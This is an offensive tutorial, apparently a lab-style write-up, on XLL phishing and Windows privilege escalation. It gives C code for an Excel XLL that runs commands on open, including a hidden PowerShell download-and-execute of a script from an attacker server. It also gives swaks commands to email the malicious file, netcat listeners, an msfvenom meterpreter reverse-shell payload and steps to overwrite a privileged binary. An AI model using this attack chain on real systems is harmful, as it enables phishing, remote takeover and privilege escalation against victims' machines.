Exploiting XLL Phishing and Privilege Escalation in IIS-Based Environments

IIS (Internet Information Services) servers are widely used to host websites and web applications in Windows environments. When an IIS server is configured to host a development site, it can present vulnerabilities due to improper configuration or lack of security in areas like file management and internal services. One technique used to compromise such servers is XLL phishing . XLL files are extension libraries for Microsoft Excel that can be automatically loaded when Excel opens. Unlike macros, which are often disabled by security policies, XLL files do not receive the same level of scrutiny, making them an attractive alternative for executing malicious code. Here’s an example of how an attacker can modify an XLL file to execute a command, such as opening the calculator:

1
2
3
4
5
6
7
8

#include "stdafx.h"

short __stdcall xlAutoOpen()
{
    LPCSTR cmd = "calc.exe";  // This executes the calc.exe command
    system(cmd);
    return 1;
}

This simple code causes Excel to execute calc.exe when the XLL file is opened. The same technique can be modified to launch a reverse shell or other malicious commands.After creating the malicious file, the attacker can use it in a targeted phishing campaign. Using a tool like swaks to send the file via email:

1

swaks --to target@domain.com --from attacker@example.com --header "Subject: Check this out!" --body "Please review the attached file." --attach @malicious.xll

When the file is opened in Excel, the code is executed, compromising the victim’s machine. Once the XLL file is opened, it can trigger the execution of a malicious payload, such as a reverse shell, giving the attacker remote control over the compromised system.

Arbitrary Code Execution with XLL Phishing

After sending the malicious XLL file, the next step involves executing arbitrary code on the victim’s system. When the XLL file is opened in Excel, it can trigger system commands without the user’s knowledge. A common example is using a reverse shell , where the attacker gains remote access to the compromised system.Here is an example of modifying the XLL file to execute a reverse shell :

1
2
3
4
5
6
7
8

#include "stdafx.h"

short __stdcall xlAutoOpen()
{
    LPCSTR cmd = "powershell -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker-server/revshell.ps1')\"";
    system(cmd);
    return 1;
}

In this example, the PowerShell command downloads a malicious script from a server controlled by the attacker, which can initiate a reverse shell. The attacker can then control the victim’s system remotely. Once the XLL file is created, it can be sent via email using tools like swaks . Here’s an example command:

1

swaks --to victim@domain.com --from attacker@example.com --header "Subject: Important Document" --body "Please review the attached file." --attach @malicious.xll

As soon as the victim opens the file, the malicious code is executed. At this point, the attacker needs to be ready to capture the reverse shell connection by setting up a listener, such as Netcat :

1

nc -lvnp 4444

When the PowerShell code runs, it connects to the attacker’s server, providing a reverse shell.

This technique is highly effective, especially when the victim’s system does not have defense mechanisms like Windows Defender or firewall enabled. Once the attacker has control of the system, they can perform a range of actions, including information gathering, data exfiltration, or privilege escalation.

Abusing Permissions for Privilege Escalation

Once the attacker gains a reverse shell on the victim’s machine, the next step is to perform privilege escalation. To do this, the attacker looks for misconfigured files or services that can be exploited to gain administrative privileges. A common technique involves checking the permissions of critical files and programs that are executed with elevated privileges. A useful command to check file permissions in Windows is icacls , which lists the read, write, and execute permissions assigned to different users and groups:

1

icacls "C:\Program Files (x86)\App\ImportantApp.exe"

If the critical file has write permissions for common groups like “Users” or “Everyone,” the attacker can replace it with a malicious file, which will be executed with elevated privileges such as SYSTEM. To exploit this vulnerability, the attacker can create a malicious binary using a tool like msfvenom :

1

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f exe -o malicious.exe

After creating the malicious binary, it can be copied to replace the vulnerable file:

1

copy malicious.exe "C:\Program Files (x86)\App\ImportantApp.exe"

When the system runs the replaced file, the attacker gains a new reverse shell, this time with elevated privileges. The attacker then sets up a listener to capture the connection:

1

nc -lvnp 4444

Another method involves looking for scheduled tasks or auto-start services that run programs with administrator permissions. If the attacker can modify these programs or their corresponding configuration files, they can gain full control over the system. These privilege escalation methods are particularly effective in systems where file permissions are not properly managed, allowing any user to modify files that should be protected. Once the attacker gains administrative privileges, they have complete control over the system, including access to sensitive files, altering security settings, and even disabling protections like antivirus and firewalls.